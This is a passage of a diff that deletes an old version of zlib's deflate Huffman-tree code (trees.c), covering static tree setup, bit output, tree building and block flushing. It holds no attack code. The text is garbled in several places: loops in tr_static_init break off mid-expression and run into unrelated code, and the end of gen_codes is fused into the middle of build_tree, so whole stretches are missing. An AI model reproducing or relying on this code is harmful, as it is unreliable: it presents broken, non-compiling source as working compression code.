* Local data. These are initialized only once. - */ - -local ct_data static_ltree[L_CODES+2]; -/* The static literal tree. Since the bit lengths are imposed, there is no - * need for the L_CODES extra codes used during heap construction. However - * The codes 286 and 287 are needed to build a canonical tree (see _tr_init - * below). - */ - -local ct_data static_dtree[D_CODES]; -/* The static distance tree. (Actually a trivial tree since all codes use - * 5 bits.) - */ - -local uch dist_code[512]; -/* distance codes. The first 256 values correspond to the distances - * 3 .. 258, the last 256 values correspond to the top 8 bits of - * the 15 bit distances. - */ - -local uch length_code[MAX_MATCH-MIN_MATCH+1]; -/* length code for each normalized match length (0 == MIN_MATCH) */ - -local int base_length[LENGTH_CODES]; -/* First normalized length for each code (0 = MIN_MATCH) */ - -local int base_dist[D_CODES]; -/* First normalized distance for each code (0 = distance of 1) */ - -struct static_tree_desc_s { - ct_data *static_tree; /* static tree or NULL */ - intf *extra_bits; /* extra bits for each code or NULL */ - int extra_base; /* base index for extra_bits */ - int elems; /* max number of elements in the tree */ - int max_length; /* max bit length for the codes */ -}; - -local static_tree_desc static_l_desc = -{static_ltree, extra_lbits, LITERALS+1, L_CODES, MAX_BITS}; - -local static_tree_desc static_d_desc = -{static_dtree, extra_dbits, 0, D_CODES, MAX_BITS}; - -local static_tree_desc static_bl_desc = -{(ct_data *)0, extra_blbits, 0, BL_CODES, MAX_BL_BITS}; - -/* =========================================================================== - * Local (static) routines in this file. - */ - -local void tr_static_init OF((void)); -local void init_block OF((deflate_state *s)); -local void pqdownheap OF((deflate_state *s, ct_data *tree, int k)); -local void gen_bitlen OF((deflate_state *s, tree_desc *desc)); -local void gen_codes OF((ct_data *tree, int max_code, ushf *bl_count)); -local void build_tree OF((deflate_state *s, tree_desc *desc)); -local void scan_tree OF((deflate_state *s, ct_data *tree, int max_code)); -local void send_tree OF((deflate_state *s, ct_data *tree, int max_code)); -local int build_bl_tree OF((deflate_state *s)); -local void send_all_trees OF((deflate_state *s, int lcodes, int dcodes, - int blcodes)); -local void compress_block OF((deflate_state *s, ct_data *ltree, - ct_data *dtree)); -local void set_data_type OF((deflate_state *s)); -local unsigned bi_reverse OF((unsigned value, int length)); -local void bi_windup OF((deflate_state *s)); -local void bi_flush OF((deflate_state *s)); -local void copy_block OF((deflate_state *s, charf *buf, unsigned len, - int header)); - -#ifndef DEBUG_ZLIB -# define send_code(s, c, tree) send_bits(s, tree[(c)].Code, tree[(c)].Len) - /* Send a code of the given tree. c and tree must not have side effects */ - -#else /* DEBUG_ZLIB */ -# define send_code(s, c, tree) \ - { if (verbose>2) fprintf(stderr,"\ncd %3d ",(c)); \ - send_bits(s, tree[c].Code, tree[c].Len); } -#endif - -#define d_code(dist) \ - ((dist) < 256 ? dist_code[dist] : dist_code[256+((dist)>>7)]) -/* Mapping from a distance to a distance code. dist is the distance - 1 and - * must not have side effects. dist_code[256] and dist_code[257] are never - * used. - */ - -/* =========================================================================== - * Output a short LSB first on the stream. - * IN assertion: there is enough room in pendingBuf. - */ -#define put_short(s, w) { \ - put_byte(s, (uch)((w) & 0xff)); \ - put_byte(s, (uch)((ush)(w) >> 8)); \ -} - -/* =========================================================================== - * Send a value on a given number of bits. - * IN assertion: length <= 16 and value fits in length bits. - */ -#ifdef DEBUG_ZLIB -local void send_bits OF((deflate_state *s, int value, int length)); - -local void send_bits(s, value, length) - deflate_state *s; - int value; /* value to send */ - int length; /* number of bits */ -{ - Tracevv((stderr," l %2d v %4x ", length, value)); - Assert(length > 0 && length <= 15, "invalid length"); - s->bits_sent += (ulg)length; - - /* If not enough room in bi_buf, use (valid) bits from bi_buf and - * (16 - bi_valid) bits from value, leaving (width - (16-bi_valid)) - * unused bits in value. - */ - if (s->bi_valid > (int)Buf_size - length) { - s->bi_buf |= (value << s->bi_valid); - put_short(s, s->bi_buf); - s->bi_buf = (ush)value >> (Buf_size - s->bi_valid); - s->bi_valid += length - Buf_size; - } else { - s->bi_buf |= value << s->bi_valid; - s->bi_valid += length; - } -} -#else /* !DEBUG_ZLIB */ - -#define send_bits(s, value, length) \ -{ int len = (length);\ - if ((s)->bi_valid > (int)Buf_size - len) {\ - int val = (value);\ - (s)->bi_buf |= (val << (s)->bi_valid);\ - put_short((s), (s)->bi_buf);\ - (s)->bi_buf = (ush)val >> (Buf_size - (s)->bi_valid);\ - (s)->bi_valid += len - Buf_size;\ - } else {\ - (s)->bi_buf |= (value) << (s)->bi_valid;\ - (s)->bi_valid += len;\ - }\ -} -#endif /* DEBUG_ZLIB */ - -/* the arguments must not have side effects */ - -/* =========================================================================== - * Initialize the various 'constant' tables. In a multi-threaded environment, - * this function may be called by two threads concurrently, but this is - * harmless since both invocations do exactly the same thing. - */ -local void tr_static_init() -{ - static int static_init_done = 0; - int n; /* iterates over tree elements */ - int bits; /* bit counter */ - int length; /* length value */ - int code; /* code value */ - int dist; /* distance index */ - ush bl_count[MAX_BITS+1]; - /* number of codes at each bit length for an optimal tree */ - - if (static_init_done) return; - - /* Initialize the mapping length (0..255) -> length code (0..28) */ - length = 0; - for (code = 0; code < LENGTH_CODES-1; code++) { - base_length[code] = length; - for (n = 0; n < (1< dist code (0..29) */ - dist = 0; - for (code = 0 ; code < 16; code++) { - base_dist[code] = dist; - for (n = 0; n < (1<>= 7; /* from now on, all distances are divided by 128 */ - for ( ; code < D_CODES; code++) { - base_dist[code] = dist << 7; - for (n = 0; n < (1<<(extra_dbits[code]-7)); n++) { - dist_code[256 + dist++] = (uch)code; - } - } - Assert (dist == 256, "tr_static_init: 256+dist != 512"); - - /* Construct the codes of the static literal tree */ - for (bits = 0; bits <= MAX_BITS; bits++) bl_count[bits] = 0; - n = 0; - while (n <= 143) static_ltree[n++].Len = 8, bl_count[8]++; - while (n <= 255) static_ltree[n++].Len = 9, bl_count[9]++; - while (n <= 279) static_ltree[n++].Len = 7, bl_count[7]++; - while (n <= 287) static_ltree[n++].Len = 8, bl_count[8]++; - /* Codes 286 and 287 do not exist, but we must include them in the - * tree construction to get a canonical Huffman tree (longest code - * all ones) - */ - gen_codes((ct_data *)static_ltree, L_CODES+1, bl_count); - - /* The static distance tree is trivial: */ - for (n = 0; n < D_CODES; n++) { - static_dtree[n].Len = 5; - static_dtree[n].Code = bi_reverse((unsigned)n, 5); - } - static_init_done = 1; -} - -/* =========================================================================== - * Initialize the tree data structures for a new zlib stream. - */ -void _tr_init(deflate_state *s) -{ - tr_static_init(); - - s->compressed_len = 0L; - - s->l_desc.dyn_tree = s->dyn_ltree; - s->l_desc.stat_desc = &static_l_desc; - - s->d_desc.dyn_tree = s->dyn_dtree; - s->d_desc.stat_desc = &static_d_desc; - - s->bl_desc.dyn_tree = s->bl_tree; - s->bl_desc.stat_desc = &static_bl_desc; - - s->bi_buf = 0; - s->bi_valid = 0; - s->last_eob_len = 8; /* enough lookahead for inflate */ -#ifdef DEBUG_ZLIB - s->bits_sent = 0L; -#endif - - /* Initialize the first block of the first file: */ - init_block(s); -} - -/* =========================================================================== - * Initialize a new block. - */ -local void init_block(s) - deflate_state *s; -{ - int n; /* iterates over tree elements */ - - /* Initialize the trees. */ - for (n = 0; n < L_CODES; n++) s->dyn_ltree[n].Freq = 0; - for (n = 0; n < D_CODES; n++) s->dyn_dtree[n].Freq = 0; - for (n = 0; n < BL_CODES; n++) s->bl_tree[n].Freq = 0; - - s->dyn_ltree[END_BLOCK].Freq = 1; - s->opt_len = s->static_len = 0L; - s->last_lit = s->matches = 0; -} - -#define SMALLEST 1 -/* Index within the heap array of least frequent node in the Huffman tree */ - - -/* =========================================================================== - * Remove the smallest element from the heap and recreate the heap with - * one less element. Updates heap and heap_len. - */ -#define pqremove(s, tree, top) \ -{\ - top = s->heap[SMALLEST]; \ - s->heap[SMALLEST] = s->heap[s->heap_len--]; \ - pqdownheap(s, tree, SMALLEST); \ -} - -/* =========================================================================== - * Compares to subtrees, using the tree depth as tie breaker when - * the subtrees have equal frequency. This minimizes the worst case length. - */ -#define smaller(tree, n, m, depth) \ - (tree[n].Freq < tree[m].Freq || \ - (tree[n].Freq == tree[m].Freq && depth[n] <= depth[m])) - -/* =========================================================================== - * Restore the heap property by moving down the tree starting at node k, - * exchanging a node with the smallest of its two sons if necessary, stopping - * when the heap property is re-established (each father smaller than its - * two sons). - */ -local void pqdownheap(s, tree, k) - deflate_state *s; - ct_data *tree; /* the tree to restore */ - int k; /* node to move down */ -{ - int v = s->heap[k]; - int j = k << 1; /* left son of k */ - while (j <= s->heap_len) { - /* Set j to the smallest of the two sons: */ - if (j < s->heap_len && - smaller(tree, s->heap[j+1], s->heap[j], s->depth)) { - j++; - } - /* Exit if v is smaller than both sons */ - if (smaller(tree, v, s->heap[j], s->depth)) break; - - /* Exchange v with the smallest son */ - s->heap[k] = s->heap[j]; k = j; - - /* And continue down the tree, setting j to the left son of k */ - j <<= 1; - } - s->heap[k] = v; -} - -/* =========================================================================== - * Compute the optimal bit lengths for a tree and update the total bit length - * for the current block. - * IN assertion: the fields freq and dad are set, heap[heap_max] and - * above are the tree nodes sorted by increasing frequency. - * OUT assertions: the field len is set to the optimal bit length, the - * array bl_count contains the frequencies for each bit length. - * The length opt_len is updated; static_len is also updated if stree is - * not null. - */ -local void gen_bitlen(s, desc) - deflate_state *s; - tree_desc *desc; /* the tree descriptor */ -{ - ct_data *tree = desc->dyn_tree; - int max_code = desc->max_code; - ct_data *stree = desc->stat_desc->static_tree; - intf *extra = desc->stat_desc->extra_bits; - int base = desc->stat_desc->extra_base; - int max_length = desc->stat_desc->max_length; - int h; /* heap index */ - int n, m; /* iterate over the tree elements */ - int bits; /* bit length */ - int xbits; /* extra bits */ - ush f; /* frequency */ - int overflow = 0; /* number of elements with bit length too large */ - - for (bits = 0; bits <= MAX_BITS; bits++) s->bl_count[bits] = 0; - - /* In a first pass, compute the optimal bit lengths (which may - * overflow in the case of the bit length tree). - */ - tree[s->heap[s->heap_max]].Len = 0; /* root of the heap */ - - for (h = s->heap_max+1; h < HEAP_SIZE; h++) { - n = s->heap[h]; - bits = tree[tree[n].Dad].Len + 1; - if (bits > max_length) bits = max_length, overflow++; - tree[n].Len = (ush)bits; - /* We overwrite tree[n].Dad which is no longer needed */ - - if (n > max_code) continue; /* not a leaf node */ - - s->bl_count[bits]++; - xbits = 0; - if (n >= base) xbits = extra[n-base]; - f = tree[n].Freq; - s->opt_len += (ulg)f * (bits + xbits); - if (stree) s->static_len += (ulg)f * (stree[n].Len + xbits); - } - if (overflow == 0) return; - - Trace((stderr,"\nbit length overflow\n")); - /* This happens for example on obj2 and pic of the Calgary corpus */ - - /* Find the first bit length which could increase: */ - do { - bits = max_length-1; - while (s->bl_count[bits] == 0) bits--; - s->bl_count[bits]--; /* move one leaf down the tree */ - s->bl_count[bits+1] += 2; /* move one overflow item as its brother */ - s->bl_count[max_length]--; - /* The brother of the overflow item also moves one step up, - * but this does not affect bl_count[max_length] - */ - overflow -= 2; - } while (overflow > 0); - - /* Now recompute all bit lengths, scanning in increasing frequency. - * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all - * lengths instead of fixing only the wrong ones. This idea is taken - * from 'ar' written by Haruhiko Okumura.) - */ - for (bits = max_length; bits != 0; bits--) { - n = s->bl_count[bits]; - while (n != 0) { - m = s->heap[--h]; - if (m > max_code) continue; - if (tree[m].Len != (unsigned) bits) { - Trace((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits)); - s->opt_len += ((long)bits - (long)tree[m].Len) - *(long)tree[m].Freq; - tree[m].Len = (ush)bits; - } - n--; - } - } -} - -/* =========================================================================== - * Generate the codes for a given tree and bit counts (which need not be - * optimal). - * IN assertion: the array bl_count contains the bit length statistics for - * the given tree and the field len is set for all tree elements. - * OUT assertion: the field code is set for all tree elements of non - * zero code length. - */ -local void gen_codes (tree, max_code, bl_count) - ct_data *tree; /* the tree to decorate */ - int max_code; /* largest code with non zero frequency */ - ushf *bl_count; /* number of codes at each bit length */ -{ - ush next_code[MAX_BITS+1]; /* next code value for each bit length */ - ush code = 0; /* running code value */ - int bits; /* bit index */ - int n; /* code index */ - - /* The distribution counts are first used to generate the code values - * without bit reversal. - */ - for (bits = 1; bits <= MAX_BITS; bits++) { - next_code[bits] = code = (code + bl_count[bits-1]) << 1; - } - /* Check that the bit counts in bl_count are consistent. The last code - * must be all ones. - */ - Assert (code + bl_count[MAX_BITS]-1 == (1<dyn_tree; - ct_data *stree = desc->stat_desc->static_tree; - int elems = desc->stat_desc->elems; - int n, m; /* iterate over heap elements */ - int max_code = -1; /* largest code with non zero frequency */ - int node; /* new node being created */ - - /* Construct the initial heap, with least frequent element in - * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1]. - * heap[0] is not used. - */ - s->heap_len = 0, s->heap_max = HEAP_SIZE; - - for (n = 0; n < elems; n++) { - if (tree[n].Freq != 0) { - s->heap[++(s->heap_len)] = max_code = n; - s->depth[n] = 0; - } else { - tree[n].Len = 0; - } - } - - /* The pkzip format requires that at least one distance code exists, - * and that at least one bit should be sent even if there is only one - * possible code. So to avoid special checks later on we force at least - * two codes of non zero frequency. - */ - while (s->heap_len < 2) { - node = s->heap[++(s->heap_len)] = (max_code < 2 ? ++max_code : 0); - tree[node].Freq = 1; - s->depth[node] = 0; - s->opt_len--; if (stree) s->static_len -= stree[node].Len; - /* node is 0 or 1 so it does not have extra bits */ - } - desc->max_code = max_code; - - /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree, - * establish sub-heaps of increasing lengths: - */ - for (n = s->heap_len/2; n >= 1; n--) pqdownheap(s, tree, n); - - /* Construct the Huffman tree by repeatedly combining the least two - * frequent nodes. - */ - node = elems; /* next internal node of the tree */ - do { - pqremove(s, tree, n); /* n = node of least frequency */ - m = s->heap[SMALLEST]; /* m = node of next least frequency */ - - s->heap[--(s->heap_max)] = n; /* keep the nodes sorted by frequency */ - s->heap[--(s->heap_max)] = m; - - /* Create a new node father of n and m */ - tree[node].Freq = tree[n].Freq + tree[m].Freq; - s->depth[node] = (uch) (MAX(s->depth[n], s->depth[m]) + 1); - tree[n].Dad = tree[m].Dad = (ush)node; -#ifdef DUMP_BL_TREE - if (tree == s->bl_tree) { - fprintf(stderr,"\nnode %d(%d), sons %d(%d) %d(%d)", - node, tree[node].Freq, n, tree[n].Freq, m, tree[m].Freq); - } -#endif - /* and insert the new node in the heap */ - s->heap[SMALLEST] = node++; - pqdownheap(s, tree, SMALLEST); - - } while (s->heap_len >= 2); - - s->heap[--(s->heap_max)] = s->heap[SMALLEST]; - - /* At this point, the fields freq and dad are set. We can now - * generate the bit lengths. - */ - gen_bitlen(s, (tree_desc *)desc); - - /* The field len is now set, we can generate the bit codes */ - gen_codes ((ct_data *)tree, max_code, s->bl_count); -} - -/* =========================================================================== - * Scan a literal or distance tree to determine the frequencies of the codes - * in the bit length tree. - */ -local void scan_tree (s, tree, max_code) - deflate_state *s; - ct_data *tree; /* the tree to be scanned */ - int max_code; /* and its largest code of non zero frequency */ -{ - int n; /* iterates over all tree elements */ - int prevlen = -1; /* last emitted length */ - int curlen; /* length of current code */ - int nextlen = tree[0].Len; /* length of next code */ - int count = 0; /* repeat count of the current code */ - int max_count = 7; /* max repeat count */ - int min_count = 4; /* min repeat count */ - - if (nextlen == 0) max_count = 138, min_count = 3; - tree[max_code+1].Len = (ush)0xffff; /* guard */ - - for (n = 0; n <= max_code; n++) { - curlen = nextlen; nextlen = tree[n+1].Len; - if (++count < max_count && curlen == nextlen) { - continue; - } else if (count < min_count) { - s->bl_tree[curlen].Freq += count; - } else if (curlen != 0) { - if (curlen != prevlen) s->bl_tree[curlen].Freq++; - s->bl_tree[REP_3_6].Freq++; - } else if (count <= 10) { - s->bl_tree[REPZ_3_10].Freq++; - } else { - s->bl_tree[REPZ_11_138].Freq++; - } - count = 0; prevlen = curlen; - if (nextlen == 0) { - max_count = 138, min_count = 3; - } else if (curlen == nextlen) { - max_count = 6, min_count = 3; - } else { - max_count = 7, min_count = 4; - } - } -} - -/* =========================================================================== - * Send a literal or distance tree in compressed form, using the codes in - * bl_tree. - */ -local void send_tree (s, tree, max_code) - deflate_state *s; - ct_data *tree; /* the tree to be scanned */ - int max_code; /* and its largest code of non zero frequency */ -{ - int n; /* iterates over all tree elements */ - int prevlen = -1; /* last emitted length */ - int curlen; /* length of current code */ - int nextlen = tree[0].Len; /* length of next code */ - int count = 0; /* repeat count of the current code */ - int max_count = 7; /* max repeat count */ - int min_count = 4; /* min repeat count */ - - /* tree[max_code+1].Len = -1; */ /* guard already set */ - if (nextlen == 0) max_count = 138, min_count = 3; - - for (n = 0; n <= max_code; n++) { - curlen = nextlen; nextlen = tree[n+1].Len; - if (++count < max_count && curlen == nextlen) { - continue; - } else if (count < min_count) { - do { send_code(s, curlen, s->bl_tree); } while (--count != 0); - - } else if (curlen != 0) { - if (curlen != prevlen) { - send_code(s, curlen, s->bl_tree); count--; - } - Assert(count >= 3 && count <= 6, " 3_6?"); - send_code(s, REP_3_6, s->bl_tree); send_bits(s, count-3, 2); - - } else if (count <= 10) { - send_code(s, REPZ_3_10, s->bl_tree); send_bits(s, count-3, 3); - - } else { - send_code(s, REPZ_11_138, s->bl_tree); send_bits(s, count-11, 7); - } - count = 0; prevlen = curlen; - if (nextlen == 0) { - max_count = 138, min_count = 3; - } else if (curlen == nextlen) { - max_count = 6, min_count = 3; - } else { - max_count = 7, min_count = 4; - } - } -} - -/* =========================================================================== - * Construct the Huffman tree for the bit lengths and return the index in - * bl_order of the last bit length code to send. - */ -local int build_bl_tree(s) - deflate_state *s; -{ - int max_blindex; /* index of last bit length code of non zero freq */ - - /* Determine the bit length frequencies for literal and distance trees */ - scan_tree(s, (ct_data *)s->dyn_ltree, s->l_desc.max_code); - scan_tree(s, (ct_data *)s->dyn_dtree, s->d_desc.max_code); - - /* Build the bit length tree: */ - build_tree(s, (tree_desc *)(&(s->bl_desc))); - /* opt_len now includes the length of the tree representations, except - * the lengths of the bit lengths codes and the 5+5+4 bits for the counts. - */ - - /* Determine the number of bit length codes to send. The pkzip format - * requires that at least 4 bit length codes be sent. (appnote.txt says - * 3 but the actual value used is 4.) - */ - for (max_blindex = BL_CODES-1; max_blindex >= 3; max_blindex--) { - if (s->bl_tree[bl_order[max_blindex]].Len != 0) break; - } - /* Update opt_len to include the bit length tree and counts */ - s->opt_len += 3*(max_blindex+1) + 5+5+4; - Tracev((stderr, "\ndyn trees: dyn %ld, stat %ld", - s->opt_len, s->static_len)); - - return max_blindex; -} - -/* =========================================================================== - * Send the header for a block using dynamic Huffman trees: the counts, the - * lengths of the bit length codes, the literal tree and the distance tree. - * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4. - */ -local void send_all_trees(s, lcodes, dcodes, blcodes) - deflate_state *s; - int lcodes, dcodes, blcodes; /* number of codes for each tree */ -{ - int rank; /* index in bl_order */ - - Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes"); - Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES, - "too many codes"); - Tracev((stderr, "\nbl counts: ")); - send_bits(s, lcodes-257, 5); /* not +255 as stated in appnote.txt */ - send_bits(s, dcodes-1, 5); - send_bits(s, blcodes-4, 4); /* not -3 as stated in appnote.txt */ - for (rank = 0; rank < blcodes; rank++) { - Tracev((stderr, "\nbl code %2d ", bl_order[rank])); - send_bits(s, s->bl_tree[bl_order[rank]].Len, 3); - } - Tracev((stderr, "\nbl tree: sent %ld", s->bits_sent)); - - send_tree(s, (ct_data *)s->dyn_ltree, lcodes-1); /* literal tree */ - Tracev((stderr, "\nlit tree: sent %ld", s->bits_sent)); - - send_tree(s, (ct_data *)s->dyn_dtree, dcodes-1); /* distance tree */ - Tracev((stderr, "\ndist tree: sent %ld", s->bits_sent)); -} - -/* =========================================================================== - * Send a stored block - */ -void _tr_stored_block(s, buf, stored_len, eof) - deflate_state *s; - charf *buf; /* input block */ - ulg stored_len; /* length of input block */ - int eof; /* true if this is the last block for a file */ -{ - send_bits(s, (STORED_BLOCK<<1)+eof, 3); /* send block type */ - s->compressed_len = (s->compressed_len + 3 + 7) & (ulg)~7L; - s->compressed_len += (stored_len + 4) << 3; - - copy_block(s, buf, (unsigned)stored_len, 1); /* with header */ -} - -/* Send just the `stored block' type code without any length bytes or data. - */ -void _tr_stored_type_only(s) - deflate_state *s; -{ - send_bits(s, (STORED_BLOCK << 1), 3); - bi_windup(s); - s->compressed_len = (s->compressed_len + 3) & ~7L; -} - - -/* =========================================================================== - * Send one empty static block to give enough lookahead for inflate. - * This takes 10 bits, of which 7 may remain in the bit buffer. - * The current inflate code requires 9 bits of lookahead. If the - * last two codes for the previous block (real code plus EOB) were coded - * on 5 bits or less, inflate may have only 5+3 bits of lookahead to decode - * the last real code. In this case we send two empty static blocks instead - * of one. (There are no problems if the previous block is stored or fixed.) - * To simplify the code, we assume the worst case of last real code encoded - * on one bit only. - */ -void _tr_align(s) - deflate_state *s; -{ - send_bits(s, STATIC_TREES<<1, 3); - send_code(s, END_BLOCK, static_ltree); - s->compressed_len += 10L; /* 3 for block type, 7 for EOB */ - bi_flush(s); - /* Of the 10 bits for the empty block, we have already sent - * (10 - bi_valid) bits. The lookahead for the last real code (before - * the EOB of the previous block) was thus at least one plus the length - * of the EOB plus what we have just sent of the empty static block. - */ - if (1 + s->last_eob_len + 10 - s->bi_valid < 9) { - send_bits(s, STATIC_TREES<<1, 3); - send_code(s, END_BLOCK, static_ltree); - s->compressed_len += 10L; - bi_flush(s); - } - s->last_eob_len = 7; -} - -/* =========================================================================== - * Determine the best encoding for the current block: dynamic trees, static - * trees or store, and output the encoded block to the zip file. This function - * returns the total compressed length for the file so far. - */ -ulg _tr_flush_block(s, buf, stored_len, eof) - deflate_state *s; - charf *buf; /* input block, or NULL if too old */ - ulg stored_len; /* length of input block */ - int eof; /* true if this is the last block for a file */ -{ - ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */ - int max_blindex = 0; /* index of last bit length code of non zero freq */ - - /* Build the Huffman trees unless a stored block is forced */ - if (s->level > 0) { - - /* Check if the file is ascii or binary */ - if (s->data_type == Z_UNKNOWN) set_data_type(s); - - /* Construct the literal and distance trees */ - build_tree(s, (tree_desc *)(&(s->l_desc))); - Tracev((stderr, "\nlit data: dyn %ld, stat %ld", s->opt_len, - s->static_len)); - - build_tree(s, (tree_desc *)(&(s->d_desc))); - Tracev((stderr, "\ndist data: dyn %ld, stat %ld", s->opt_len, - s->static_len)); - /* At this point, opt_len and static_len are the total bit lengths of - * the compressed block data, excluding the tree representations. - */ - - /* Build the bit length tree for the above two trees, and get the index - * in bl_order of the last bit length code to send. - */ - max_blindex = build_bl_tree(s); - - /* Determine the best encoding. Compute first the block length in bytes*/ - opt_lenb = (s->opt_len+3+7)>>3; - static_lenb = (s->static_len+3+7)>>3; - - Tracev((stderr, "\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u ", - opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len, - s->last_lit)); - - if (static_lenb <= opt_lenb) opt_lenb = static_lenb; - - } else { - Assert(buf != (char*)0, "lost buf"); - opt_lenb = static_lenb = stored_len + 5; /* force a stored block */ - } - - /* If compression failed and this is the first and last block, - * and if the .zip file can be seeked (to rewrite the local header), - * the whole file is transformed into a stored file: - */ -#ifdef STORED_FILE_OK -# ifdef FORCE_STORED_FILE - if (eof && s->compressed_len == 0L) { /* force stored file */ -# else - if (stored_len <= opt_lenb && eof && s->compressed_len==0L && seekable()) { -# endif - /* Since LIT_BUFSIZE <= 2*WSIZE, the input data must be there: */ - if (buf == (charf*)0) error ("block vanished"); - - copy_block(s, buf, (unsigned)stored_len, 0); /* without header */ - s->compressed_len = stored_len << 3; - s->method = STORED; - } else -#endif /* STORED_FILE_OK */ - -#ifdef FORCE_STORED - if (buf != (char*)0) { /* force stored block */ -#else - if (stored_len+4 <= opt_lenb && buf != (char*)0) { - /* 4: two words for the lengths */ -#endif - /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE. - * Otherwise we can't have processed more than WSIZE input bytes since - * the last block flush, because compression would have been - * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to - * transform a block into a stored block. - */ - _tr_stored_block(s, buf, stored_len, eof); - -#ifdef FORCE_STATIC - } else if (static_lenb >= 0) { /* force static trees */ -#else - } else if (static_lenb == opt_lenb) { -#endif - send_bits(s, (STATIC_TREES<<1)+eof, 3); - compress_block(s, (ct_data *)static_ltree, (ct_data *)static_dtree); - s->compressed_len += 3 + s->static_len; - } else { - send_bits(s, (DYN_TREES<<1)+eof, 3); - send_all_trees(s, s->l_desc.max_code+1, s->d_desc.max_code+1, - max_blindex+1); - compress_block(s, (ct_data *)s->dyn_ltree, (ct_data *)s->dyn_dtree); - s->compressed_len += 3 + s->opt_len; - } - Assert (s->compressed_len == s->bits_sent, "bad compressed size"); - init_block(s); - - if (eof) { - bi_windup(s); - s->compressed_len += 7; /* align on byte boundary */ - } - Tracev((stderr,"\ncomprlen %lu(%lu) ", s->compressed_len>>3, - s->compressed_len-7*eof)); - - return s->compressed_len >> 3; -} - -/* =========================================================================== - * Save the match info and tally the frequency counts. Return true if - * the current block must be flushed. - */ -int _tr_tally (s, dist, lc) - deflate_state *s; - unsigned dist; /* distance of matched string */ - unsigned lc; /* match length-MIN_MATCH or unmatched char (if dist==0) */ -{ - s->d_buf[s->last_lit] = (ush)dist; - s->l_buf[s->last_lit++] = (uch)lc; - if (dist == 0) { - /* lc is the unmatched char */ - s->dyn_ltree[lc].Freq++; - } else { - s->matches++; - /* Here, lc is the match length - MIN_MATCH */ - dist--; /* dist = match distance - 1 */ - Assert((ush)dist < (ush)MAX_DIST(s) && - (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) && - (ush)d_code(dist) < (ush)D_CODES, "_tr_tally: bad match"); - - s->dyn_ltree[length_code[lc]+LITERALS+1].Freq++; - s->dyn_dtree[d_code(dist)].Freq++; - } - - /* Try to guess if it is profitable to stop the current block here */ - if (s->level > 2 && (s->last_lit & 0xfff) == 0) { - /* Compute an upper bound for the compressed length */ - ulg out_length = (ulg)s->last_lit*8L; - ulg in_length = (ulg)((long)s->strstart - s->block_start); - int dcode; - for (dcode = 0; dcode < D_CODES; dcode++) { - out_length += (ulg)s->dyn_dtree[dcode].Freq * - (5L+extra_dbits[dcode]); - } - out_length >>= 3; - Tracev((stderr,"\nlast_lit %u, in %ld, out ~%ld(%ld%%) ", - s->last_lit, in_length, out_length, - 100L - out_length*100L/in_length)); - if (s->matches < s->last_lit/2 && out_length < in_length/2) return 1; - } - return (s->last_lit == s->lit_bufsize-1); - /* We avoid equality with lit_bufsize because of wraparound at 64K - * on 16 bit machines and because stored blocks are restricted to - * 64K-1 bytes. - */ -} - -/* =========================================================================== - * Send the block data compressed using the given Huffman trees - */ -local void compress_block(s, ltree, dtree) - deflate_state *s; - ct_data *ltree; /* literal tree */ - ct_data *dtree; /* distance tree */ -{ - unsigned dist; /* distance of matched string */ - int lc; /* match length or unmatched char (if dist == 0) */ - unsigned lx = 0; /* running index in l_buf */ - unsigned code; /* the code to send */ - int extra; /* number of extra bits to send */ - - if (s->last_lit != 0) do { - dist = s->d_buf[lx]; - lc = s->l_buf[lx++]; - if (dist == 0) { - send_code(s, lc, ltree); /* send a literal byte */ - Tracecv(isgraph(lc), (stderr," '%c' ", lc)); - } else { - /* Here, lc is the match length - MIN_MATCH */ - code = length_code[lc]; - send_code(s, code+LITERALS+1, ltree); /* send the length code */ - extra = extra_lbits[code]; - if (extra != 0) { - lc -= base_length[code]; - send_bits(s, lc, extra); /* send the extra length bits */ - } - dist--; /* dist is now the match distance - 1 */ - code = d_code(dist); - Assert (code < D_CODES, "bad d_code"); - - send_code(s, code, dtree); /* send the distance code */ - extra = extra_dbits[code]; - if (extra != 0) { - dist -= base_dist[code]; - send_bits(s, dist, extra); /* send the extra distance bits */ - } - } /* literal or match pair ? */ - - /* Check that the overlay between pending_buf and d_buf+l_buf is ok: */ - Assert(s->pending < s->lit_bufsize + 2*lx, "pendingBuf overflow"); - - } while (lx < s->last_lit); - - send_code(s, END_BLOCK, ltree); - s->last_eob_len = ltree[END_BLOCK].Len; -} - -/* =========================================================================== - * Set the data type to ASCII or BINARY, using a crude approximation: - * binary if more than 20% of the bytes are <= 6 or >= 128, ascii otherwise. - * IN assertion: the fields freq of dyn_ltree are set and the total of all - * frequencies does not exceed 64K (to fit in an int on 16 bit machines). - */ -local void set_data_type(s) - deflate_state *s; -{ - int n = 0; - unsigned ascii_freq = 0; - unsigned bin_freq = 0; - while (n < 7) bin_freq += s->dyn_ltree[n++].Freq; - while (n < 128) ascii_freq += s->dyn_ltree[n++].Freq; - while (n < LITERALS) bin_freq += s->dyn_ltree[n++].Freq; - s->data_type = (Byte)(bin_freq > (ascii_freq >> 2) ? Z_BINARY : Z_ASCII); -} - -/* =========================================================================== - * Reverse the first len bits of a code, using straightforward code (a faster - * method would use a table) - * IN assertion: 1 <= len <= 15 - */ -local unsigned bi_reverse(code, len) - unsigned code; /* the value to invert */ - int len; /* its bit length */ -{ - register unsigned res = 0; - do { - res |= code & 1; - code >>= 1, res <<= 1; - } while (--len > 0); - return res >> 1; -} - -/* =========================================================================== - * Flush the bit buffer, keeping at most 7 bits in it. - */ -local void bi_flush(s) - deflate_state *s; -{ - if (s->bi_valid == 16) { - put_short(s, s->bi_buf); - s->bi_buf = 0; - s->bi_valid = 0; - } else if (s->bi_valid >= 8) { - put_byte(s, (Byte)s->bi_buf); - s->bi_buf >>= 8; - s->bi_valid -= 8; - } -} - -/* =========================================================================== - * Flush the bit buffer and align the output on a byte boundary - */ -local void bi_windup(s) - deflate_state *s; -{ - if (s->bi_valid > 8) { - put_short(s, s->bi_buf); - } else if (s->bi_valid > 0) { - 